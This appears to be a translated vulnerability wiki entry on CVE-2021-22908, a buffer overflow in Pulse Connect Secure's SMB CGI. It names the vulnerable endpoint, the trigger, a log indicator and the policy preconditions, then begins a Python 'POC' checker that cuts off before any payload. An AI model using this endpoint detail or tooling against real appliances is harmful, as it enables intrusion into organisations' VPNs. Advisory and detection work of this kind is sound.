CVE-2021-22908_Pulse_Connect_Secure_任意代碼執行漏洞_en

# CVE-2021-22908 Pulse Connect Secure 任意代碼執行漏洞/en

==Vulnerability description==

Because PCS supports connecting to Windows file sharing (SMB), the function is provided by CGI scripts based on Samba 4.5.10 libraries and auxiliary applications. When specifying a long server name for certain SMB operations, the smbclt application may crash due to buffer overflow, depending on the length of the specified server name.

It has been confirmed that this vulnerability exists in the PCS 9.1R11.4 system. The target CGI endpoint is /dana/fb/smb/wnf.cgi. Other CGI endpoints may also trigger this vulnerability.

If an attacker fails to clean up after successfully exploiting this vulnerability, specifying a long server name may result in the following PCS event log entries:

Critical ERR31093 2021-05-24 14:05:37 - ive - [127.0.0.1] Root::System()[] - Program smbclt recently failed.

But to exploit this vulnerability, the PCS server must have a Windows file access policy that allows \\* or another policy that allows an attacker to connect to any server. You can view the current SMB policy by viewing User->Resource Policy->Windows File Access Policy on the PCS management page. 9.1R2 and earlier PCS devices use the default policy of allowing connections to any SMB host. Starting from 9.1R3, this policy has been changed from the default permission to the default denial.

==Scope of influence==
Pulse Connect Secure 9.0RX and 9.1RX

==POC==

#!/usr/bin/env python3
# Utility to check for Pulse Connect Secure CVE-2021-22908
# https://www.kb.cert.org/vuls/id/667933

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import argparse
import sys
from html.parser import HTMLParser
import getpass

parser = argparse.ArgumentParser(description='Pulse Connect Secure CVE-2021-22908')
parser.add_argument('host', type=str, help='PCS IP or hostname)')
parser.add_argument('-u', '--user', dest='user', type=str, help='username')
parser.add_argument('-p', '--pass', dest='password', type=str, help='password')
parser.add_argument('-r', '--realm', dest='realm', type=str, help='realm')
parser.add_argument('-d', '--dsid', dest='dsid', type=str, help='DSID')
parser.add_argument('-x', '--xsauth', dest='xsauth', type=str, help='xsauth')
parser.add_argument('-n', '--noauth', action='store_true', help='Do not authenticate. Only check for XML workaround')

args = parser.parse_args()

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class formvaluefinder(HTMLParser):
    def __init__(self, searchval):
        super(type (self), self).__init__()
        self.searchval = searchval
    def handle_starttag(self, tag, attrs):
        if tag == 'input':
            # We're just looking for form  tags
            foundelement = False
            for attr in attrs:
                if(attr[0] == 'name'):
                    if(attr[1] == self.searchval):
                        foundelement = True
                elif(attr[0] == 'value' and foundelement == True):
                     self.data = attr[1]

class preauthfinder(HTMLParser):
    foundelement = False
    def handle_starttag(self, tag, attrs):
        if tag == 'textarea':
            # We're just looking for